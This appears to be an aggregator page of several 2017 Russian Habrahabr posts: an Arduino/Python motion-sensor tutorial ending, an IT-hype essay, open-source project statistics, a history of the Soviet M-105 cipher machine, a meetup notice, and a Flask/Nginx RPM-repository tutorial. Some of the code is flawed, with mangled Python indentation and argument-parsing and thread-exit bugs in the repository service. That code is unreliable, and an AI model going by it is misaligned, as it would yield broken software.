            Функция Python начинается с ключевого слова def, за которым следует имя функции и входные параметры или аргументы. Определение функции заканчивается двоеточием (:) и после этого отступы. Оператор return завершает функцию. Оно также передает это выражение в место вызова функции.

            Если оператор return сохраняется без выражения, считается, что оно передало возвращаемое значение None:

            def function_name(parameters):
             action_1
            action_2
            return [expression]

            Предыдущая структура может быть использована для создания настраиваемых функций для выполнения повторяющихся задач. В нашем проекте у нас есть функция blinkLED (pin, message) для выполнения мигающего светодиода. Эта функция посылает 1 (HIGH) и 0 (LOW) значение на указанный цифровой контакт, а также печатает сообщение на терминале. Он также вводит задержку для имитации мигающего действия:

            defblinkLED(pin, message):
            print message
                board.digital[pin].write(1)
                sleep(1)
                board.digital[pin].write(0)
            sleep(1)

            Тестирование


            После запуска кода Python на терминале можно начинать тестирование. Если все идет по проекту, вы должны иметь возможность видеть в терминале следующий вывод:



            Вы должны иметь возможность видеть строку обнаружения движения на терминале, когда какое-либо движение обнаружено датчиком PIR. Преимущество использования Python заключается в том, что незначительные изменения, такие как изменение скорости мигания или замена ролей светодиодов, могут быть выполнены путем простого изменения кода Python без участия С помощью Arduino или электрической цепи.

            Выводы


            Сравнительный анализ результатов практической реализации проекта двумя методами программирования, которые мы применили в этой работе показывает, что метод который использует только скетч Arduino, представляет традиционную парадигму программирования микроконтроллера. Хотя этот метод более прост в реализации, ему не хватает экстенсивности, достигаемой интерфейсом Python-Arduino. Таким образом, для практического применения мы делаем выбор в пользу метода Python-Arduino.

            Ссылки


            1. Для чего нужен датчик движения для освещения.
            2. Книга: «Arduino Basic Connections».
            3. PIR Motion Sensor.
            Original source: habrahabr.ru (comments, light).

            https://habrahabr.ru/post/337982/


            Метки:  

            Пару слов о неминуемом повороте в развитии IT-отрасли

            Пятница, 15 Сентября 2017 г. 10:44 + в цитатник
            botyaslonim сегодня в 10:44 Управление

            Пару слов о неминуемом повороте в развитии IT-отрасли

              В связи с тем, что относительно большая (и очень громкая) часть IT живёт в очередном пузыре доткомов (теперь уже стартапов), у некоторых представителей этого племени, а в особенности у всяких евангелистов и даже HR появилась иллюзия следующего свойства.

              Мол, какой-то девайс, фреймворк или способ работы резко поднимает успешность предприятия. Например, «мы все используем MacBook, и у нас уже третий раунд инвестиций». Или «мы решили открыть travel-агентство, и нанимаем только тех программистов, которые не вылезают из путешествий; мы хотим, чтобы все сотрудники разделяли наши ценности, и у нас уже оборот 100 млн долларов». Или «как только мы внедрили React + Vue + Angular, наши дела пошли в гору, и нас купил Google». И так далее.

              На первый взгляд кажется абсурдом? — Да, но признаем: хайп и гвалт есть несомненные сопутствующие элементы современного IT-мира. Любое явление, находящееся на острие общественного внимания, а IT, безусловно, из таких, не может не впитать в себя характерные черты социума своего времени. В частности, тенденцию к превалированию формы над содержанием.

              image

              Частенько происходит типичная выдача желаемого за действительное. Рынок буквально сходит с ума, чтобы залить деньгами хоть кого-то, кто сможет выдать краткосрочный результат. Те, кому повезло с подливой от инвесторов, могут программировать хоть стоя на голове: для достижения быстрого результата, который нужно предъявить спекулятивному рынку, компаниям не обязательно, а иногда даже вредно выстраивать правильные, выверенные бизнес-процессы. Путь к первому успеху виден, а всерьёз займётся делом уже портфельный инвестор или крупный IT-гигант, который за миллиарды приобретёт выстреливший стартап. Пока все ждут роста акций и очередного рекорда в показателе «сумма, уплаченная за компанию / количество разработчиков», можно, не стесняясь, заявлять о любых своих капризах. Проблемы в человеческих капризах нет, но есть в том, что только ими теперь стараются обосновать успех всего предприятия.

              Поскольку поток шальных денег пока ещё весьма силён, и ручейки расходятся по отрасли, на горячее слетаются разные писаки и объясняки. Появляются целые тома с картинками на темы «как классно работать стоя», «как поднять конверсию, если твой шеф пингвин», «айкидо табуляции» и прочий бред. Тренинги эффективного парного программирования, тренинги эффективного аутичного программирования, семинары по Питону на новой технологии обучения, семинары по обучению на новой версии Питона, etc. То есть люди начинают ковыряться во второстепенных факторах, которые практически всегда являются какими-то забавными, но незначительными особенностями того или иного предприятия, ставшего успешным за счёт, как правило, вливания средств от серьёзных дядей. Если ещё короче, настоящий рыночный успех (и провал) всегда является комбинаций больших денег, власти и амбиций руководителей, а не результатом следования тем или иным умным стратегиям, которые, как правило, пишутся уже пост-фактум.

              Любой, кто работает на работе хотя бы лет 10-15, наверное, вспомнит, как и он читал в своё время книжки про «100 секретов успеха», «200 причин бросить всё и сделать» и тому подобное. Единственный достоверный результат, к которому приводит следование этим остеровским советам, заключается в том, что вы болтаетесь ровно посередине. Нет, всегда есть пример васи, который выстрелил, но единичные выбросы статистики никогда не опровергали генеральную совокупность. Стало быть, теория не подтверждается практикой, и поэтому является не более чем спекуляцией.

              Парируя очевидные возражения, автор сего памфлета, безусловно, разделяет тот подход, что программист так или иначе учится на протяжении всей своей карьеры. Появляются новые языки, фреймворки, подходы к работе. Никто не желает верстать таблицами, как 15 лет назад, и SPA легче и эффективнее писать на специальных фреймворках, а не на старом родном jQuery. Развитие орудий труда неостановимо, как и человеческий прогресс в целом.

              Однако, суть нового орудия труда редко находится в прямой зависимости от маркетинговых факторов, которые способствуют его внедрению. Между «новый, стильный, прикольный» и «эффективный, разумный, достойный» нет прямой связи.

              Рискнём произнести весьма очевидные соображения насчёт секретов долговременного успеха в IT-отрасли. Рано или поздно, когда пузырь сдуется, и интерес мирового капитала переместится в новую отрасль (космос, биологию, медицину?), IT ждёт неминуемый консервативный поворот. Вдруг окажется, что любитель путешествий и кодинга из-под пальм элементарно работает 20 часов в неделю вместо 30-40. Вдруг окажется, что от программирования стоя через 10 лет разовьётся варикоз вен (спросите у любого парикмахера), а сидение на пуфиках, скрючившись над своим любимым макбуком, означает немалые затраты на невролога и мануального терапевта в будущем. Люди с удивлением обнаружат, что Agile не является панацеей от всех бед, и вообще должен применяться в весьма ограниченном круге задач, а новомодная геймификация прежде всего является способом саморазвлечения скучающих без реальной работы сотрудников кадровых отделов. Выяснится, что любимый лектор в очках в роговой оправе являлся обычным мошенником и смылся за границу с собранными через краудфандинг деньгами.

              Останутся те компании, которые будут зарабатывать на продукте и его обслуживании, а не на росте курса акций или даже просто на обещании хоть что-то сделать. Исчезнет необузданная потребность членов сообщества встречаться на митапах, конференциях, хакатонах и кэмпах. Спадёт прогрессирующий вал новых серебрянных пуль и «убийц С++». Вдруг окажется, что без человека, владеющего серьёзным, проверенным временем инструментарием разработки, трудно поддерживать существующую, уже достаточно богатую инфраструктуру отрасли. Выяснится, что новые подходы, решения, разработанные внутри компании, как правило, дают больший реальный эффект, чем модные решения извне. Под давлением обстоятельств (читай, в связи с сокращением бюджетов на эксперименты) человек, придумавший решение конкретной проблемы сам, станет цениться дороже, чем тот, кто смог продать своему руководству решение из Google или Facebook, только потому, что оно из Google или Facebook.

              Кто-то скажет, что станет скучнее. Возможно, кому-то новые времена покажутся пресными. Там, где качество кода компании не зависит от пятничной пиццы и настольного хоккея в офисе, ровно как и от командировок лучших сотрудников в Долину, прикольным весёлым ребятам делать особо нечего. Новыми героями статей вокруг IT-отрасли станут деловитые инженеры, копающие каждый свою тему, и добивающиеся пусть небольших, но фундаментальных улучшений для всех. Обществу станет всё-равно, добился тот или иной герой успеха в 19 лет или в 50. Станет неважным лейбл на корпусе ноутбука и умение держать себя на презентациях. Передовые разработчики перестанут называть друг друга «гуру», и станут просто инженерами.

              Крепкие IT-профессионалы, которые действительно имеют опыт решения самых разнообразных задач, возможно, как и работники других отраслей, станут задавать своим работодателям правильные вопросы: насчёт переработок, необходимой инсоляции и организации правильного питания в офисе. Возможно, ответом на вытеснение работников на надомную работу и прочие сокращения реальных благ, которые они получают, станет создание профсоюзов.

              Взрыв инноваций и нововведений диалектически превратится в свою противоположность, сняв (в гегелевском смысле) все те реальные противоречия, которые накопились в отрасли в момент бурного роста. Возможно, настанет время решить давно назревшие вопросы, ведь следующий виток развития IT-технологий уже по-настоящему затронет всех и каждого: интернет вещей или кибер-терроризм не оставят выбора в вопросе «сделать быстро в надежде на будущие доработки» или «сделать сразу хорошо».
              Original source: habrahabr.ru (comments, light).

              https://habrahabr.ru/post/337878/


              Метки:  

              Что общего у крупных успешных Open Source-проектов?

              Пятница, 15 Сентября 2017 г. 08:40 + в цитатник
              shurup сегодня в 08:40 Управление

              Что общего у крупных успешных Open Source-проектов?



                В организации The Linux Foundation задались вопросом, что объединяет проекты с открытым кодом, которым удалось собрать вокруг себя большое сообщество и добиться быстрых темпов разработки. Чтобы ответить на него, Дэн Кон (Dan Kohn), возглавляющий одно из многочисленных подразделений организации — CNCF (Cloud Native Computing Foundation), и его коллега-разработчик (Lukasz Gryglicki) создали визуализацию для 30 самых активно развивающихся Open Source-проектов, по статистическим данным с мая 2016 по апрель 2017 года. В качестве численных показателей, которые были учтены для выборки самих проектов и их визуализации, авторы использовали:

                1. количество коммитов (ось x на графике ниже);
                2. количество pull requests + issues (ось y);
                3. количество авторов, участвующих в разработке (величина цветного круга у названия проекта).



                (Картинка с кликабельными названиями проектов и подробностями по их численным показателям доступна на сайте Linux Foundation.)

                Лидер по двум показателям (количество авторов и PRs + issues) вряд ли кого удивил — это проект ядра Linux. Его ближайшие преследователи по количеству авторов — Homebrew и DefinitelyTyped. Лидер по числу коммитов, обошедший даже ядро Linux, — Chromium, а замыкает условный пьедестал по этому показателю Cloud Foundry, причём с большим отрывом от всех преследователей. И последний проект, попавший в топ-3 уже по другому показателю (числу PRs + issues), — это Kubernetes.

                Кстати: Исходный код инструментов, с помощью которых собиралась эта статистика, и документация по ним опубликованы на GitHub (язык Ruby, лицензия Apache License 2.0).

                Если проанализировать, кто стоит за всеми ведущими 30 проектами, то выяснится:

                • 9 проектов (включая ядро Linux, Kubernetes, Cloud Foundry и др.) — создаются независимой организацией/фондом (для перечисленных примеров — Linux Foundation, CNCF и Cloud Foundry соответственно), причём 3 из них приходятся на OpenStack (Nova, Neutron и Cinder);
                • 15 проектов (включая Chromium, React, Docker/Moby…) — создаются коммерческой компанией (Google, Facebook, Docker…);
                • 6 проектов (включая Homebrew, DefinitelyTyped, Vue.js…) — создаются сообществом без явных компаний/фондов.

                В Linux Foundation приводят слова своего исполнительного директора Джима Землина (Jim Zemlin), который считает, что управление успешным Open Source-проектом во многом зависит от качественного выполнения «функций уборщицы»: сортировки багов, ответов на вопросы новых пользователей и разработчиков, решения юридических вопросов и, конечно, урегулирования всевозможных трений, которые неизбежно возникают при любом масштабном сотрудничестве.

                Очевидно, фонды и крупные компании выделяют специальных людей и средства, чтобы наладить процессы решения обозначенных проблем. Можно даже сказать, что наличие подобной организации, стоящей за проектом, — это и есть то общее, что объединяет крупные и успешные Open Source-продукты. Статистика, полученная из топ-30, подтверждает это: у 80 % проектов есть свой «покровитель». (Компания-покровитель «превращается» в фонд в тот момент, когда другие значимые игроки рынка видят для себя перспективы коммерциализации кодовой базы и ищут пути реального влияния на ход развития проекта ­— через общий совет, членами которого и становятся заинтересованные стороны-компании.)

                Однако оставшиеся исключения — это 20 %, которые, пусть и являясь явным меньшинством, всё же доказывают, что успех проекта возможен усилиями сообщества и без явных спонсоров.

                P.S. Напоследок, к вопросу о компаниях и фондах — попробуйте угадать компанию, сотрудник которой является ведущим контрибьютором в кодовую базу Kubernetes.
                Итак, по данным Libraries.io, это…


                Если вы удивились слишком сильно, то успокою, что в действительности всё несколько сложнее. Автор (Brendan Burns) присоединился к команде Microsoft Azure лишь прошлым летом, а до этого годами работал над Kubernetes в Google.
                Original source: habrahabr.ru (comments, light).

                https://habrahabr.ru/post/337968/


                Метки:  

                Немного из истории криптографии СССP: M-105 под кодовым названием Агат

                Пятница, 15 Сентября 2017 г. 07:45 + в цитатник
                TashaFridrih сегодня в 07:45 Разработка

                Немного из истории криптографии СССP: M-105 под кодовым названием Агат

                  История криптографии корнями уходит во времена Ивана Грозного. Первые криптографы использовали простые шифры замен, позже, при Петре Первом начали появляться профессиональные службы, занимающиеся шифровальным делом. В середине 1700 появились так называемые «черные кабинеты» — тайные комнаты в почтовых отделениях, где благополучно (порою не очень) вскрывались конверты с письмами. Возникло понятие — «перлюстрация».


                  Кабинет перлюстрации при почтовом отделении в Российской империи

                  В истории отечественной криптографии времен СССР образовалось много пробелов, так как информация находилась под семью замками, строго хранилась в тайне. Некоторые моменты освещены в статье сокровищница отечественной криптографии, в ней же упоминалось и о самых известных советских криптомашинах.

                  M-105: Под кодовым названием Агат


                  M-105 (кодовое название: Aгат) — это русская, автономная шифровальная машина, которая была разработана и создана в СССР в конце 1960 годов. Предшественницей этой криптомашины была почти идентичная M-104 (Аметист и Аметист-2). Такие машины использовались всеми странами Варшавского договора (ГДР, Чехословакия, Венгрия, Румыния, Югославия), они представляли собой электромеханические шифраторы текстовой информации с записью на бумажную перфоленту: СМ-1 Василек, СМ-2, М-104 Аметист, М-105 Агат, М-125 Фиалка, М-130 Коралл.


                  СМ-1 Василек


                  М-104 Аметист


                  М-105 Агат


                  М-125 Фиалка


                  М-130 Коралл

                  M-105 Агат — криптомашина, в которой применялся OTT – One-Time-Tape шифрование, суть такого шифрования проста: применяемый ключ одноразовый и по длине равен передаваемым данным, текст зашифрован и без ключа его никто расшифровать не сможет.

                  В отличие от Фиалки, в которой для генерирования ключа использовались 10 шифровальных колес (роторов), в M-105 встроен генератор механических ключей, который выводит случайные ключи на 11-уровневую перфоленту. Находится он в верхней части машины.



                  На первый взгляд машина несколько напоминает M-125 Фиалку. Электрическая машина, почти таких же габаритов, окрашена в серебристый серый цвет с клавиатурой на латинице/кириллице. Но на этом сходство заканчивается.

                  M-105 выводила результаты непосредственно на лист бумаги, который находился в каретке сзади. Усовершенствованная матричная печатающая головка позволяла напечатать любой из 30 символов (5 x 6). В зависимости от языка, который использовался для печати, некоторые символы или цифры могли отсутствовать.

                  Сзади справа находилось устройство для вставки перфоленты и ввода ключа (стандартная 5-уровневая перфолента), правда код Бодо не применялся.
                  Код Бодо — равномерный телеграфный 5-битный код, использующий два отличающихся друг от друга электрических сигнала.

                  Вместо него использовалась та же схема кодирования, что и в Фиалке. Спереди M-105 находилось устройство считывания с бумажной перфоленты. Перфолента направлялась через линейку, которая проходила по всей ширине машины. Для запуска и остановки — две клавиши (Запуск, Стоп), расположенные спереди справа.



                  На изображении ниже показано расположение полной клавиатуры: на каждой клавише — буква кириллицы и латиницы. 30 клавиш, черный одношаговый ключ внизу слева и черный управляющий символ возврата катерки CR/LF внизу справа, есть пробел (внизу).



                  В режиме шифрования, при вводе текста использовался пробел, а клавиша Й2 блокировалась. В режиме расшифровки все наоборот: пробел заблокирован, клавиша Й2 — доступна. Когда аппарат использовался в режиме обычного текста (MODE установлен на «O»), можно было использовать как клавишу пробела, так и клавишу Й2. Две черные клавиши («шаг » и CR/LF) не зашифрованы. Они работали только в текстовом режиме для форматирования вывода. Недостающую «Й» спокойно можно заменить на «И». Идентично Фиалке, на клавиатуре М-105 присутствуют только 30 наиболее используемых букв.

                  Знаков препинания — кроме символа SPACE с применением клавиши «Й» в верхнем левом углу — нет. Переключение между латиницей и кириллицей означало замену печатающей головки.

                  Перфолента могла использоваться для шифрования только один раз, поэтому при переключении режимов работы пробивалась Control Hole (контрольная дыра). Перфоленты, предназначенные только для дешифрования, имели Check Hole, чтобы случайным образом их не использовали в качестве ключа шифрования.



                  Переключение режимов работы


                  Спереди слева, сразу над клавиатурой находится черный поворотный регулятор, с его помощью можно выбрать необходимый режим работы:«O» для набора текста (Открытый текст), «3» для шифрования (зашифровать) и «P» для расшифровки (расшифровывать).



                  В режиме текста M-105 функционировала, как обычная пишущая машинка или телепринтер и использовалась для печати текста, создания 5-уровневых перфолент (5 дыр на строку). Были доступны все клавиши, включая пробел, ШАГ каретки и CR/LF.

                  При установке режимов шифрования (3) или расшифровки (P) происходил ряд механических изменений внутри устройства. Как и писалось ранее — в режиме шифрования клавиша Й2 заблокирована, доступен пробел, в режиме расшифровки — все наоборот.

                  Аббревиатуры, используемые для разных режимов, идентичны для всех машин (M-125 или M-130), как показано ниже.





                  На передней части 11-уровневого считывателя ключей — рычаг с тремя возможными настройками: П, ПК и К. Использовался он для выбора адресата (перфоратор, принтер, перфоратор и принтер) кодированного, декодированного или обычного текстового вывода.

                  Блок питания




                  Существовало несколько версий M-105, наиболее распространенная — устройство питалось от источника постоянного тока напряжением 24 В.



                  Специально, для подключения к сети постоянного тока напряжением 110 В была доступна иная версия АГАТ.







                  Стандартный блок питания, который использовался в M-105, подходил для сетей любого уровня напряжения (как правило, в диапазоне напряжений 110 – 220 В), мог использоваться практически в любой точке мира. Такой же блок питания применялся с M-125 Фиалка в большинстве стран Варшавского договора.



                  Рычаг выполнял несколько функций. С его помощью можно было работать с машиной вручную в случае сбоя питания. Поскольку процесс шифрования носил чисто механический характер, машина могла считывать 5-уровневые перфоленты, ленты с ключами, печатать на бумаге и без электричества. Рычаг также использовался для «перезагрузки» механизма, если его заклинивало.


                  Рычаг

                  В M-105 использовалась матрица 5 x 6 (5 строк, 6 столбцов) для адресации 30 символов. Каждый 5-битный символ переводился в строку (6 бит) и столбец (5 бит), в итоге получалось 11 внутренних «бит», потому ключевая перфолента — 11-уровневая.



                  11-битный код с ключевой перфоленты добавлялся к 11-битовому потоку данных, результат после преобразовывался обратно в 5-разрядный цифровой код (выводился на пятиуровневые перфокарты).



                  В Восточной Германии (DDR) М-105 была введена в эксплуатацию в 1968 году и использовалась для связи с государствами-партнерами Варшавского договора, а также руководством ГДР для обмена сообщениями на самом высоком правительственном уровне.

                  В 1986 году M-105 стала полностью электронной машиной M-205 D, но многие M-105 оставались в эксплуатации до немецкого воссоединения. М-105 была заменена на Т-353 (Dudek) в 1987 году для коммуникации ГДР с Венгрией.


                  Т-353 (Dudek)

                  Найти материалы о данной криптомашине на просторах рунета крайне тяжело, потому информация была взята вот здесь: Сrypto museum и bplaced.net. Скорее всего такое скудное публичное освещение достижений в области криптографии времен СССР обусловлено рядом причин: только частичное рассекречивание, недофинансирование и другие проблемы. Будем надеяться, что в скором времени отечественные научные достижения и выдающиеся криптографы страны выйдут из под грифа «совершенно секретно».
                  На правах рекламы.Акция! Только сейчас получите до 4-х месяцев бесплатного пользования VPS (KVM) c выделенными накопителями в Нидерландах и США (конфигурации от VPS (KVM) — E5-2650v4 (6 Cores) / 10GB DDR4 / 240GB SSD или 4TB HDD / 1Gbps 10TB — $29 / месяц и выше, доступны варианты с RAID1 и RAID10), полноценным аналогом выделенных серверов, при заказе на срок 1-12 месяцев, условия акции здесь, cуществующие абоненты могут получить 2 месяца бонусом!

                  Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?
                  Original source: habrahabr.ru (comments, light).

                  https://habrahabr.ru/post/335904/


                  Народная Политика конфиденциальности

                  Пятница, 15 Сентября 2017 г. 07:13 + в цитатник
                  image

                  По многочисленным просьбам трудящихся вебмастеров и владельцев сайтов мы опубликовали бесплатный образец Политики конфиденциальности для сайтов с формой обратной связи, подписки или заказа звонка.

                  Решились на такой шаг, потому что данная форма Политики не предусматривает обработку персональных данных, и в результате не предполагает большой вариативности решения. Важно помнить, что она не подходит для сайтов, на которых обрабатываются ПДн. Например, интернет-магазины и прочие сервисы, на которых помимо номера телефона или email пользователем дополнительно предоставляются иные сведения о себе, требуют большего внимания к вопросам обработки персональных данных.

                  Поэтому мы подумали над вариантами составления «народной» Политики конфиденциальности с обработкой ПДн. Простым шаблоном здесь не обойдешься. Взяли за основу вышедшие в 2017 году Рекомендации Роскомнадзора (далее – «Рекомендации») по составлению документа, определяющего политику оператора в отношении обработки персональных данных (далее – «Политика). Дополнили ее живыми примерами.

                  Смотрим, что получилось. Читать дальше ->

                  https://habrahabr.ru/post/337970/


                  Вторая встреча амазоновцев в Москве

                  Пятница, 15 Сентября 2017 г. 02:45 + в цитатник
                  Всем привет!

                  Если вы интересуетесь Amazon Web Services, или кратко AWS, то приглашаем вас посетить вторую встречу AWS Usergroup Moscow.

                  Что?
                  Темы докладов, возможно, будут меняться: но предварительно такие:
                  1) Программируем инфраструктуру через CloudFormation
                  2) Lambda + ApiGateway = ServerLess в AWS
                  3) Облачная автоматизация «из коробки”
                  4) Что можно сделать на Free Tier

                  Где?
                  Встреча будет проходить в главном офисе компании Крок по адресу:
                  Москва, ул. Волочаевская, д. 5, корп. 1

                  Когда?
                  28 сентября в 19.00

                  На объекте действует пропускная система, поэтому не забудьте прислать номера автомобилей и Фамилию/Имя своих спутников (и свои, если они на этой платформе отличаются от того что в документах).

                  Ссылка на встречу: www.meetup.com/awsmsk/events/242828973

                  Ссылка на группу: www.meetup.com/AWSmsk

                  https://habrahabr.ru/post/337966/


                  Метки:  

                  RPM-репозиторий — своими руками

                  Пятница, 15 Сентября 2017 г. 01:19 + в цитатник
                  tnt4brain сегодня в 01:19 Администрирование

                  RPM-репозиторий — своими руками

                    Итак, начнём.


                    При внедрении DevOps-процесса в компании одним из возможных вариантов хранилища артефактов сборки может стать rpm-репозиторий. По существу — это просто веб-сервер, раздающий определённым образом организованное содержимое. Есть, конечно, коммерческие варианты maven-репозиториев, которые имеют плагины для поддержки rpm, но мы же не ищем лёгких путей?


                    image


                    Задача


                    Написать сервис, который будет принимать готовые rpm-пакеты по протоколу HTTP, парсить их метаданные, раскладывать файлы пакетов по каталогам в соответствии с внутренней структурой репозитория и обновлять метаданные репозитория после обработки очередного пакета. Что из этого получилось — описано под катом.


                    Анализ


                    В моей голове задача почти мгновенно распалась на несколько частей: первая — принимающая, которая должна принять rpm-пакет по HTTP; вторая — обрабатывающая, которая должна принятый RPM-пакет обработать. Ну и где-то ещё должен быть веб-сервер, который будет раздавать содержимое репозитория.


                    Принимающая часть


                    Ввиду того, что с Nginx я знаком давно, выбор веб-сервера для приёма rpm-пакетов и раздачи содержимого репозитория даже не стоял — только Nginx. Приняв это как данность, я нашёл в документации нужные опции и написал


                    часть конфигурации Nginx, которая принимает файлы
                    location /upload {
                        proxy_http_version 1.1;
                        proxy_pass http://127.0.0.1:5000;
                        proxy_pass_request_body off;
                        proxy_set_header X-Package-Name $request_body_file;
                        client_body_in_file_only on;
                        client_body_temp_path /tmp/rpms;
                        client_max_body_size 128m;
                    }

                    Результат данной конфигурации — при приёме файла Nginx сохранит его в заданный каталог и сообщит исходное имя в отдельном заголовке.
                    Для полноты картины — вторая крохотная


                    часть конфигурации, которая раздаёт содержимое репозитория
                    location /repo {
                        alias /srv/repo/storage/;
                        autoindex on;
                    }

                    Итак, у нас есть первая часть, которая умеет принимать файлы и отдавать их.


                    Обрабатывающая часть


                    Обрабатывающая часть напиcана на Python без особых премудростей и выглядит


                    вот так:
                    #!/usr/bin/env python
                    import argparse
                    import collections
                    import pprint
                    import shutil
                    import subprocess
                    import threading
                    import os
                    import re
                    import yaml
                    from flask import Flask, request
                    from pyrpm import rpmdefs
                    from pyrpm.rpm import RPM
                    
                    # Сервис для поддержания репозиториев (С) Sergey Pechenko, 2017
                    # Лицензия - GPL v2.0. Никаких дополнительных гарантий или прав не предоставляется. 
                    # Для лицензирования использования кода в коммерческом продукте свяжитесь с автором.
                    
                    class LoggingMiddleware(object):
                        # Вспомогательный класс для логирования запросов и отладки
                        def __init__(self, app):
                            self._app = app
                    
                        def __call__(self, environ, resp):
                            errorlog = environ['wsgi.errors']
                            pprint.pprint(('REQUEST', environ), stream=errorlog)
                    
                            def log_response(status, headers, *args):
                                pprint.pprint(('RESPONSE', status, headers), stream=errorlog)
                                return resp(status, headers, *args)
                    
                            return self._app(environ, log_response)
                    
                    def parse_package_info(rpm):
                        # Обработка метаданных пакета
                        os_name_rel = rpm[rpmdefs.RPMTAG_RELEASE]
                        os_data = re.search('^(\d+)\.(\w+)(\d+)$', os_name_rel)
                        package = {
                            'filename': "%s-%s-%s.%s.rpm" % (rpm[rpmdefs.RPMTAG_NAME],
                                                             rpm[rpmdefs.RPMTAG_VERSION],
                                                             rpm[rpmdefs.RPMTAG_RELEASE],
                                                             rpm[rpmdefs.RPMTAG_ARCH]),
                            'os_abbr': os_data.group(2),
                            'os_release': os_data.group(3),
                            'os_arch': rpm[rpmdefs.RPMTAG_ARCH]
                        }
                        return package
                    
                    # Объект приложения и его настройки
                    app = Flask(__name__)
                    settings = {}
                    
                    # Тестовый обработчик - пригодится в начале настройки
                    @app.route('/')
                    def hello_world():
                        return 'Hello from repo!'
                    
                    # Обработчик конкретного маршрута в URL
                    @app.route('/upload', methods=['PUT'])
                    def upload():
                        # Ответ по умолчанию
                        status = 503
                        headers = []
                        # Этот нестандартный заголовок мы добавили в конфигурацию Nginx ранее
                        curr_package = request.headers.get('X-Package-Name')
                        rpm = RPM(file(unicode(curr_package)))
                        rpm_data = parse_package_info(rpm)
                        try:
                            new_req_queue_element = '%s/%s' % (rpm_data['os_release'], rpm_data['os_arch'])
                            dest_dirname = '%s/%s/Packages' % (
                                app.settings['repo']['top_dir'],
                                new_req_queue_element)
                            # Перемещаем файл в нужный каталог
                            shutil.move(curr_package, dest_dirname)
                            src_filename = '%s/%s' % (dest_dirname, os.path.basename(curr_package))
                            dest_filename = '%s/%s' % (dest_dirname, rpm_data['filename'])
                            # Переименовываем файл
                            shutil.move(src_filename, dest_filename)
                            # Готовим ответ, который получит загружавший клиент
                            response = 'OK - Accessible as %s' % dest_filename
                            status = 200
                            if new_req_queue_element not in req_queue:
                                # Кладём запрос на обработку этого пакета в очередь
                                req_queue.append(new_req_queue_element)
                            event_timeout.set()
                            event_request.set()
                        except BaseException as E:
                            response = E.message
                        return response, status, headers
                    
                    def update_func(evt_upd, evt_exit):
                        # Ждёт события, затем запускает обновление метаданных
                        while not evt_exit.is_set():
                            if evt_upd.wait():
                                # Выбираем следующий доступный запрос из очереди
                                curr_elem = req_queue.popleft()
                                p = subprocess.Popen([app.settings['index_updater']['executable'],
                                                      app.settings['index_updater']['cmdline'],
                                                      '%s/%s' % (app.settings['repo']['top_dir'], curr_elem)],
                                                     shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                                res_stdout, res_stderr = p.communicate(None)
                                pprint.pprint(res_stdout)
                                pprint.pprint(res_stderr)
                                # Сбрасываем событие обновления
                                evt_upd.clear()
                        return
                    
                    def update_enable_func(evt_req, evt_tmout, evt_upd, evt_exit):
                        while not evt_exit.is_set():
                            # Ожидаем запрос
                            evt_req.wait()
                            # OK, дождались
                            # Теперь выдерживаем 30 секунд, а если в это время пришёл запрос....
                            while evt_tmout.wait(30) and (not evt_exit.is_set()):
                                evt_tmout.clear()
                            if evt_exit.is_set():
                                break
                            evt_upd.set()
                            evt_tmout.clear()
                            evt_req.clear()
                        return
                    
                    def parse_command_line():
                        # Разбор агрументов командной строки
                        parser = argparse.ArgumentParser(description='This is a repository update helper')
                        parser.prog_name = 'repo_helper'
                        parser.add_argument('-c', '--conf', action='store', default='%.yml' % prog_name, type='file', required='false',
                                            help='Name of the config file', dest='configfile')
                        parser.epilog('This is an example of Nginx configuration:\
                      location /repo {\
                          alias /srv/repo/storage/;\
                          autoindex on;\
                      }\
                    \
                      location /upload {\
                          client_body_in_file_only on;\
                          client_body_temp_path /tmp/rpms;\
                          client_max_body_size 128m;\
                          proxy_http_version 1.1;\
                          proxy_pass http://localhost:5000;\
                          proxy_pass_request_body off;\
                          proxy_set_header X-Package-Name $request_body_file;\
                      }\
                    ')
                        parser.parse_args()
                        return parser
                    
                    def load_config(fn):
                        with open(fn, 'r') as f:
                            config = yaml.safe_load(f)
                        return config
                    
                    def load_hardcoded_defaults():
                        # Прибитые гвоздями настройки "по умолчанию"
                        config = {
                            'index_updater': {
                                'executable': '/bin/createrepo',
                                'cmdline': '--update'
                            },
                            'repo': {
                                'top_dir': '/srv/repo/storage'
                            },
                            'server': {
                                'address': '127.0.0.1',
                                'port': '5000',
                                'prefix_url': 'upload',
                                'upload_header': ''
                            },
                            'log': {
                                'name': 'syslog',
                                'level': 'INFO'
                            }
                        }
                        return config
                    
                    if __name__ == '__main__':
                        try:
                            cli_args = parse_command_line()
                            settings = load_config(cli_args['configfile'])
                        except BaseException as E:
                            settings = load_hardcoded_defaults()
                        req_queue = collections.deque()
                        # Application-level specific stuff
                        # Exit flag
                        exit_flag = False
                        # Событие, сигналящее о пришедшем запросе
                        event_request = threading.Event()
                        # Событие, сигналящее об окончании задержки
                        event_timeout = threading.Event()
                        # Событие, сигналящее о запуске обновления метаданных
                        event_update = threading.Event()
                        # Событие, сигналящее о завершении вспомогательных потоков
                        event_exit = threading.Event()
                        # Готовим начальное состояние событий
                        event_request.clear()
                        event_timeout.clear()
                        event_update.clear()
                        # Поток, который запускает обновление метаданных репозитория
                        update_thread = threading.Thread(name='update_worker', target=update_func, args=(event_update, event_exit))
                        update_thread.start()
                        # Поток, отсчитывающий время задержки, и начинающий отсчёт сначала, если задержка прервана
                        # Если задержка прервана - начинаем отсчёт сначала
                        delay_thread = threading.Thread(name='delay_worker', target=update_enable_func,
                                                        args=(event_request, event_timeout, event_update, event_exit))
                        delay_thread.start()
                        # Его Величество Приложение
                        app.wsgi_app = LoggingMiddleware(app.wsgi_app)
                        app.run(host=settings['server']['address'], port=settings['server']['port'])
                        # Это событие заставит оба дополнительных потока завершиться
                        event_exit.clear()

                    Важный и, скорее всего, непонятный с первого взгляда момент — зачем же здесь нужны потоки, события и очередь.
